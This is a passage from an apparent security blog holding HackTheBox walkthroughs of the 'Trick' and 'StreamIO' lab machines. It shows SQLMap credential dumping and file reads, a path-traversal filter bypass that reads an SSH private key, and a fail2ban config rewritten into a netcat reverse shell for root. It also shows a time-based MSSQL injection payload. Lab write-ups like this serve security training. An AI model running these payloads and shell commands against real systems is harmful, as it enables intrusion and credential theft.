Database: payroll_db
<span class="o">[</span>11 tables]
+---------------------+
| position |
| allowances |
| attendance |
| deductions |
| department |
| employee |
| employee_allowances |
| employee_deductions |
| payroll |
| payroll_items |
| <span class="nb">users</span> |
+---------------------+
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 17:28:26 /2022-07-05/
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# sqlmap <span class="nt">-r</span> trick-login.req <span class="nt">--columns</span> <span class="nt">-D</span> payroll_db <span class="nt">-T</span> <span class="nb">users</span> <span class="nt">--batch</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> starting @ 17:30:32 /2022-07-05/
Database: payroll_db
Table: <span class="nb">users</span>
<span class="o">[</span>8 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| address | text |
| contact | text |
| doctor_id | int<span class="o">(</span>30<span class="o">)</span> |
| <span class="nb">id</span> | int<span class="o">(</span>30<span class="o">)</span> |
| name | varchar<span class="o">(</span>200<span class="o">)</span> |
| password | varchar<span class="o">(</span>200<span class="o">)</span> |
| <span class="nb">type</span> | tinyint<span class="o">(</span>1<span class="o">)</span> |
| username | varchar<span class="o">(</span>100<span class="o">)</span> |
+-----------+--------------+
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 17:37:41 /2022-07-05/
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# sqlmap <span class="nt">-r</span> trick-login.req <span class="nt">--dump</span> <span class="nt">-D</span> payroll_db <span class="nt">-T</span> <span class="nb">users</span> <span class="nt">-C</span> username,password <span class="nt">--batch</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> starting @ 17:39:27 /2022-07-05/
Database: payroll_db
Table: <span class="nb">users</span>
<span class="o">[</span>1 entry]
+------------+-----------------------+
| username | password |
+------------+-----------------------+
| Enemigosss | SuperGucciRainbowCake |
+------------+-----------------------+
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 17:41:28 /2022-07-05/
</code></pre></div></div>
<p>We can also download files using SQLMap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# sqlmap <span class="nt">-r</span> trick-login.req <span class="nt">--file-read</span> <span class="s2">"/etc/passwd"</span> <span class="nt">--batch</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> starting @ 21:58:05 /2022-07-06/
<SNIP>
<span class="o">[</span>21:58:05] <span class="o">[</span>INFO] fetching file: <span class="s1">'/etc/passwd'</span>
726F6F743A783A303A303A726F6F743A2F726F6F743A2F62696E2
F626173680A6461656D6F6E3A783A313A313A6461656D6F6E3A2F
7573722F7362696E3A2F7573722F7362696E2F6E6F6C6F67696E0
<SNIP>
</code></pre></div></div>
<p>It takes a long time but eventually we get the file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# <span class="nb">cat</span> /root/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd | <span class="nb">grep </span>bash
root:x:0:0:root:/root:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash
</code></pre></div></div>
<p>We can also guess the path to the website files and grab index.php:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# sqlmap <span class="nt">-r</span> trick-login.req <span class="nt">--file-read</span> <span class="s2">"/var/www/payroll/index.php"</span> <span class="nt">--batch</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> starting @ 21:58:08 /2022-07-06/
<span class="o">[</span>21:58:09] <span class="o">[</span>INFO] fetching file: <span class="s1">'/var/www/payroll/index.php'</span>
3C21444F43545950452068746D6C3E0D0A3C68746D6C206C616E6
73D22656E223E0D0A0D0A3C686561643E0D0A20203C6D65746120
636861727365743D227574662D38223E0D0A20203C6D657461206
<SNIP>
</code></pre></div></div>
<p>Using the credentials we got from the database we can log in to the payroll site:</p>
<p><img src="/assets/images/2022-07-05-21-28-39.png" alt="trick-recruitment" /></p>
<h2 id="gobuster">Gobuster</h2>
<p>I didn’t find anything useful in the recruitment system, so let’s create a custom wordlist to look for other sites:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# <span class="nb">sed</span> <span class="s1">'s/^/preprod-/'</span> /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt <span class="o">></span> trick-wordlist.txt
</code></pre></div></div>
<p>Here I’ve just used sed to add <strong>preprod-</strong> in front of every entry in the seclists top 5000 wordlist. Now we can use gobuster to look for vhost:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# gobuster vhost <span class="nt">-t</span> 100 <span class="nt">-w</span> trick-wordlist.txt <span class="nt">-u</span> http://trick.htb
<span class="o">===============================================================</span>
Gobuster v3.1.0
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> & Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url: http://trick.htb
<span class="o">[</span>+] Method: GET
<span class="o">[</span>+] Threads: 100
<span class="o">[</span>+] Wordlist: trick-wordlist.txt
<span class="o">[</span>+] User Agent: gobuster/3.1.0
<span class="o">[</span>+] Timeout: 10s
<span class="o">===============================================================</span>
2022/07/05 17:38:59 Starting gobuster <span class="k">in </span>VHOST enumeration mode
<span class="o">===============================================================</span>
Found: preprod-marketing.trick.htb <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 9660]
<span class="o">===============================================================</span>
2022/07/05 17:39:01 Finished
<span class="o">===============================================================</span>
</code></pre></div></div>
<p>We find another site, this time called marketing. Add to our hosts file and then have a look:</p>
<p><img src="/assets/images/2022-07-05-21-07-35.png" alt="trick-marketing" /></p>
<p>This is just a basic template site with no content, but we see the index.php page has a parameter in the URL that take a file name. We can use SQLMap to get the source code for the index.php file to see what it’s doing:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# sqlmap <span class="nt">-r</span> trick-login.req <span class="nt">--file-read</span> <span class="s2">"/var/www/market/index.php"</span> <span class="nt">--batch</span>
</code></pre></div></div>
<p>Notice that the path is market not marketing!</p>
<h2 id="code-review">Code Review</h2>
<p>Again this will take some time, but eventually we can look at the file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# <span class="nb">cat</span> /root/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_var_www_market_index.php
<?php
<span class="nv">$file</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="o">[</span><span class="s1">'page'</span><span class="o">]</span><span class="p">;</span>
<span class="k">if</span><span class="o">(!</span>isset<span class="o">(</span><span class="nv">$file</span><span class="o">)</span> <span class="o">||</span> <span class="o">(</span><span class="nv">$file</span><span class="o">==</span><span class="s2">"index.php"</span><span class="o">))</span> <span class="o">{</span>
include<span class="o">(</span><span class="s2">"/var/www/market/home.html"</span><span class="o">)</span><span class="p">;</span>
<span class="o">}</span>
<span class="k">else</span><span class="o">{</span>
include<span class="o">(</span><span class="s2">"/var/www/market/"</span>.str_replace<span class="o">(</span><span class="s2">"../"</span>,<span class="s2">""</span>,<span class="nv">$file</span><span class="o">))</span><span class="p">;</span>
<span class="o">}</span>
?>
</code></pre></div></div>
<p>We can see it includes a file, and has a basic check for path traversal removing any paths with ../ in them. Which is easy to bypass so let’s try using this knowledge with curl to grab the passwd file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# curl <span class="nt">-s</span> <span class="s2">"preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd"</span> | <span class="nb">grep </span>bash
root:x:0:0:root:/root:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash
</code></pre></div></div>
<h2 id="ssh-access">SSH Access</h2>
<p>We have one user who can login and port 22 is open, so safe to assume they have a .ssh folder in their home directory with a id_rsa file in there. Let’s grab it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# curl <span class="s2">"preprod-marketing.trick.htb/index.php?page=..././..././..././home/michael/.ssh/id_rsa"</span>
<span class="nt">-----BEGIN</span> OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
<SNIP>
</code></pre></div></div>
<p>Paste that private key in to a file on Kali, don’t forget to chmod it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# <span class="nb">chmod </span>600 id_rsa
</code></pre></div></div>
<p>Now we can login as michael:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# ssh michael@trick.htb <span class="nt">-i</span> id_rsa
Linux trick 4.19.0-20-amd64 <span class="c">#1 SMP Debian 4.19.235-1 (2022-03-17) x86_64</span>
Last login: Tue Jul 5 22:53:02 2022 from 10.10.14.141
michael@trick:~<span class="err">$</span>
</code></pre></div></div>
<h2 id="user-flag">User Flag</h2>
<p>Let’s grab the user flag first:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>michael@trick:~$ cat user.txt
8b7e6ed5d1aeacee59f4231e738aba5c
</code></pre></div></div>
<h2 id="fail2ban">Fail2ban</h2>
<p>Now to find our path to root, one of the first things to check is always sudo:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
</code></pre></div></div>
<p>So our user can restart fail2ban as root with no password. A quick look for an exploit found <a href="https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7">this</a> which gives us a simple step by step method.</p>
<p>First check permissions:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>michael@trick:~$ groups
michael security
michael@trick:~$ ls -lsa /etc/fail2ban/
total 76
4 drwxrwx--- 2 root security 4096 Jul 6 22:51 action.d
4 -rw-r--r-- 1 root root 2334 Jul 6 22:51 fail2ban.conf
<SNIP>
</code></pre></div></div>
<p>Our user michael is a member of the group called <strong>security</strong>, the action.d folder in /etc/fail2ban is owned by that group. Which means we can write files in there or move existing files around.</p>
<p>Also we see fail2ban service is running as root:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>michael@trick:~$ ps -ef | grep root | grep fail2ban
root 94079 1 0 22:37 ? 00:00:00 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
</code></pre></div></div>
<p>Checking the settings in /etc/fail2ban/jail.conf:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[DEFAULT]
#
# MISCELLANEOUS OPTIONS
#
<SNIP>
# "maxretry" is the number of failures before a host get banned.
maxretry = 5
<SNIP>
#
# ACTIONS
#
banaction = iptables-multiport
banaction_allports = iptables-allports
<SNIP>
# JAILS
#
# SSH servers
[sshd]
# To use more aggressive sshd modes set filter parameter "mode" in jail.local:
# normal (default), ddos, extra or aggressive (combines all).
# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and details.
#mode = normal
port = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
bantime = 10s
</code></pre></div></div>
<p>From the snippets of the config file we can see five failed attempts on SSH will cause the banaction defined in the file iptables-multiport. Looking in iptable-multiport.conf:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
</code></pre></div></div>
<p>Normally actionban is set to block the offending IP. We can change this to get a reverse shell. First copy the conf file to our home folder:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>michael@trick:~$ cp /etc/fail2ban/action.d/iptables-multiport.conf ./pencer.conf
</code></pre></div></div>
<p>Now use sed to change the line to our reverse shell:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>michael@trick:~$ sed "s/<iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>/\/usr\/bin\/nc 10.10.14.198 4444 -e \/usr\/bin\/bash/g" pencer.conf > iptables-multiport.conf
</code></pre></div></div>
<p>Now we need to move the existing file because we can’t delete or overwrite it:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>michael@trick:~$ mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf.bak
</code></pre></div></div>
<p>Finally put our file in its place and restart the fail2ban service:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>michael@trick:~$ cp iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
michael@trick:~$ sudo /etc/init.d/fail2ban restart
</code></pre></div></div>
<p>In another terminal start nc listening for our reverse shell:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# nc <span class="nt">-nlvp</span> 4444
listening on <span class="o">[</span>any] 4444 ...
</code></pre></div></div>
<p>Create fake credentials to use with a brute force:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# <span class="nb">cat </span>users.txt
a
b
c
d
e
f
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# <span class="nb">cat </span>passwords.txt
a
b
c
d
e
f
</code></pre></div></div>
<p>In another terminal use nmap with our fake credentials to brute force the ssh on port 22:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# nmap trick.htb <span class="nt">-p</span> 22 <span class="nt">--script</span> ssh-brute <span class="nt">--script-args</span> <span class="nv">userdb</span><span class="o">=</span>users.txt,passdb<span class="o">=</span>passwords.txt
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-07-06 22:38 BST
NSE: <span class="o">[</span>ssh-brute] Trying username/password pair: a:a
NSE: <span class="o">[</span>ssh-brute] Trying username/password pair: b:b
NSE: <span class="o">[</span>ssh-brute] Trying username/password pair: c:c
NSE: <span class="o">[</span>ssh-brute] Trying username/password pair: d:d
NSE: <span class="o">[</span>ssh-brute] Trying username/password pair: e:e
NSE: <span class="o">[</span>ssh-brute] Trying username/password pair: f:f
NSE: <span class="o">[</span>ssh-brute] Trying username/password pair: :
NSE: <span class="o">[</span>ssh-brute] Trying username/password pair: b:a
NSE: <span class="o">[</span>ssh-brute] Trying username/password pair: c:a
<SNIP>
</code></pre></div></div>
<h2 id="root-flag">Root Flag</h2>
<p>Switch to our waiting netcat to see we’re connected as root:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/trick]
└─# nc <span class="nt">-nlvp</span> 4444
listening on <span class="o">[</span>any] 4444 ...
connect to <span class="o">[</span>10.10.14.198] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.166] 45944
<span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
</code></pre></div></div>
<p>Let’s grab the root flag and hash to finish the box:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat /root/root.txt
136acf699103a7099c1d063156de51ce
cat /etc/shadow | grep root
root:$6$lbBzS2rUUVRa6Erd$u2u317eVZBZgdCrT2HViYv.69vxazyKjAuVETHTpTpD42H0RDPQIbsCHwPdKqBQphI/FOmpEt3lgD9QBsu6nU1:19104:0:99999:7:::
</code></pre></div></div>
<p>All done. I hope you enjoyed that nice easy box. See you next time.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}Trick is an easy level machine by Geiseric on HackTheBox. This Linux box focuses on web app and OS enumeration, and using SQLMap to dump data.Walk-through of StreamIO from HackTheBox2023-01-15T00:00:00+00:002023-01-15T00:00:00+00:00https://pencer.io/ctf/ctf-htb-streamio<p><a href="https://www.hackthebox.com/home/machines/profile/474">StreamIO</a> is a medium level machine by <a href="https://www.hackthebox.com/home/users/profile/481778">JDgodd</a> and <a href="https://www.hackthebox.com/home/users/profile/247264">nikk37</a> on <a href="https://www.hackthebox.com/home">HackTheBox</a>. It’s A Windows box that focuses on recon and enumeration, with an interesting mix of tools and techniques used to complete it.</p>
<!--more-->
<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2022-06-26-21-42-13.png" alt="streamio" /></p>
<p>Our starting point on this box is taking advantage of a time based SQL injection to gather credentials. With access we now enumerate and fuzz to eventually find a method to get local file inclusion. We find a way to include a simple webshell on to a page and use this to get a reverse shell. We use this to find more credentials in another database which we can use with Evil-WinRM to connect as another user. Then we decrypt more credentials from a Firefox profile, which we can use to elevate our permissions to dump admin credentials from LAPS installed on the domain controller.</p>
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/474">HTB - Medium - StreamIO</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>4th June 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>3rd July 2022</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.1 – <a href="https://www.kali.org/blog/kali-linux-2022-1-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.158 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> streamio 10.10.11.158
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-06-26 21:45 BST
Nmap scan report <span class="k">for </span>10.10.11.158
Host is up <span class="o">(</span>0.028s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos <span class="o">(</span>server <span class="nb">time</span>: 2022-06-27 03:45:21Z<span class="o">)</span>
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: streamIO.htb0., Site: Default-First-Site-Name<span class="o">)</span>
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 <span class="o">(</span>SSDP/UPnP<span class="o">)</span>
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
|_ssl-date: 2022-06-27T03:46:51+00:00<span class="p">;</span> +6h59m57s from scanner time.
| ssl-cert: Subject: <span class="nv">commonName</span><span class="o">=</span>streamIO/countryName<span class="o">=</span>EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: streamIO.htb0., Site: Default-First-Site-Name<span class="o">)</span>
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 <span class="o">(</span>SSDP/UPnP<span class="o">)</span>
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
55635/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC<span class="p">;</span> OS: Windows<span class="p">;</span> CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m56s
| smb2-time:
| <span class="nb">date</span>: 2022-06-27T03:46:14
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>102.14 seconds
</code></pre></div></div>
<p>This is a Windows box so we get a lot of open ports, we can see two names from the SSL cert so let’s add them before we get going:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# <span class="nb">echo</span> <span class="s2">"10.10.11.158 streamIO.htb watch.streamIO.htb"</span> <span class="o">>></span> /etc/hosts
</code></pre></div></div>
<h2 id="website">Website</h2>
<p>Let’s look at the websites first:</p>
<p><img src="/assets/images/2022-06-26-22-16-24.png" alt="streamio-watch" /></p>
<p>This one doesn’t appear to do anything at first glance. Let’s look at the other:</p>
<p><img src="/assets/images/2022-06-26-22-18-32.png" alt="streamio-website" /></p>
<p>This site also doesn’t do anything, there’s a login page here:</p>
<p><img src="/assets/images/2022-06-26-22-22-57.png" alt="streamio-login" /></p>
<p>It doesn’t work though, even if you click on the register button and enter details. It says the account is created but you can’t login with it.</p>
<p>Let’s intercept with Burp and have a look:</p>
<p><img src="/assets/images/2022-06-26-22-29-48.png" alt="streamio-saveitem" /></p>
<h2 id="sqlmap">SQLMap</h2>
<p>Nothing of interest so i’ve right clicked and selected Save Item from the menu. Save the file, and switch to terminal to use it with SQLMap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# sqlmap <span class="nt">-r</span> streamio.req
___
__H__
___ ___[<span class="o">)]</span>_____ ___ ___ <span class="o">{</span>1.6.4#stable<span class="o">}</span>
|_ -| <span class="nb">.</span> <span class="o">[</span>.] | .<span class="s1">'| . |
|___|_ [.]_|_|_|__,|___|
|_|V... |_| https://sqlmap.org
[*] starting @ 22:33:24 /2022-06-26/
[22:33:24] [INFO] parsing HTTP request from '</span>streamio.req<span class="s1">'
[22:33:27] [INFO] testing connection to the target URL
[22:33:28] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:33:28] [INFO] testing if the target URL content is stable
[22:33:29] [INFO] target URL content is stable
<SNIP>
sqlmap identified the following injection point(s) with a total of 64 HTTP(s) requests:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=pencer'</span><span class="p">;</span>WAITFOR DELAY <span class="s1">'0:0:5'</span><span class="nt">--</span>&password<span class="o">=</span>pencer
<span class="nt">---</span>
<span class="o">[</span>22:34:32] <span class="o">[</span>INFO] testing Microsoft SQL Server
<span class="o">[</span>22:34:32] <span class="o">[</span>WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
<span class="o">[</span>22:34:42] <span class="o">[</span>INFO] confirming Microsoft SQL Server DBMS delay responses <span class="o">(</span>option <span class="s1">'--time-sec'</span><span class="o">)</span>? <span class="o">[</span>Y/n]
<span class="o">[</span>22:34:48] <span class="o">[</span>INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 10 or 2019 or 2016
web application technology: Microsoft IIS 10.0, PHP 7.2.26
back-end DBMS: Microsoft SQL Server 2019
<span class="o">[</span>22:34:48] <span class="o">[</span>INFO] fetched data logged to text files under <span class="s1">'/root/.local/share/sqlmap/output/streamio.htb'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 22:34:48 /2022-06-26/
</code></pre></div></div>
<p>SQLMap has identified a time based vulnerability. If you’re interested in learning more on SQL injection I covered a good TryHackMe room <a href="https://pencer.io/ctf/ctf-thm-sqhell/">here</a> with all different types to play with. Back to this box, let’s get a list of databases:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# sqlmap <span class="nt">-r</span> streamio.req <span class="nt">--dbs</span>
<SNIP>
<span class="o">[</span>22:59:12] <span class="o">[</span>INFO] retrieved:
available databases <span class="o">[</span>5]:
<span class="o">[</span><span class="k">*</span><span class="o">]</span> model
<span class="o">[</span><span class="k">*</span><span class="o">]</span> msdb
<span class="o">[</span><span class="k">*</span><span class="o">]</span> STREAMIO
<span class="o">[</span><span class="k">*</span><span class="o">]</span> streamio_backup
<span class="o">[</span><span class="k">*</span><span class="o">]</span> tempdb
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 22:59:13 /2022-06-26/
</code></pre></div></div>
<p>The STREAMIO database sounds interesting as a starter, let’s find the tables in it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# sqlmap <span class="nt">-r</span> streamio.req <span class="nt">--tables</span> <span class="nt">-D</span> STREAMIO
<SNIP>
Database: STREAMIO
<span class="o">[</span>2 tables]
+--------+
| movies |
| <span class="nb">users</span> |
+--------+
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 23:01:52 /2022-06-26/
</code></pre></div></div>
<p>Let’s look at the columns of the user table:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# sqlmap <span class="nt">-r</span> streamio.req <span class="nt">--columns</span> <span class="nt">-D</span> STREAMIO <span class="nt">-T</span> <span class="nb">users</span>
<SNIP>
Database: STREAMIO
Table: <span class="nb">users</span>
<span class="o">[</span>4 columns]
+----------+-------+
| Column | Type |
+----------+-------+
| <span class="nb">id</span> | int |
| is_staff | bit |
| password | nchar |
| username | nchar |
+----------+-------+
<span class="o">[</span><span class="k">*</span><span class="o">]</span> ending @ 23:07:11 /2022-06-26/
</code></pre></div></div>
<p>Ok, so if you want to spend a long time watching SQLMap dump all users and passwords from the table then go for it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
└─# sqlmap <span class="nt">-r</span> streamio.req <span class="nt">--dump</span> <span class="nt">-D</span> STREAMIO <span class="nt">-T</span> <span class="nb">users</span>
</code></pre></div></div>
<p>If you want to just get the username and password we’re interested in then use a where clause to speed it up:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/streamio]
